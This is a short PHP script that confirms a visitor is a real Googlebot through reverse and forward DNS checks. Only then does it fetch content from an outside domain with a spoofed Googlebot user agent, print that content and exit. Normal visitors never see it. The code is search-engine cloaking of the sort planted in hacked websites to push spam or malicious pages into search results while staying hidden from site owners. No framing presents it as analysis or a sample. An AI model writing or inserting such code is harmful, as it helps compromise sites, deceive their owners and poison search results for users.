<?php
function is_real_googlebot() {
    $ip = $_SERVER['REMOTE_ADDR'] ?? '';

    $host = gethostbyaddr($ip);
    if ($host === $ip) return false;

    if (!preg_match('/\.google(bot)?\.com$/', $host)) return false;

    $forward_ips = gethostbynamel($host);
    if ($forward_ips === false) return false;

    return in_array($ip, $forward_ips);
}

if (is_real_googlebot()) {
    $remote_url = "https://apollondestroyer.org/rawpollon/uploads/8a127d66f15beb81.txt";

    $options = [
        "http" => [
            "method" => "GET",
            "header" => "User-Agent: Googlebot\n"
        ]
    ];
    $context = stream_context_create($options);

    $content = @file_get_contents($remote_url, false, $context);

    if ($content === false) {
        http_response_code(204); // No Content
    } else {
        echo $content;
    }

    exit;
}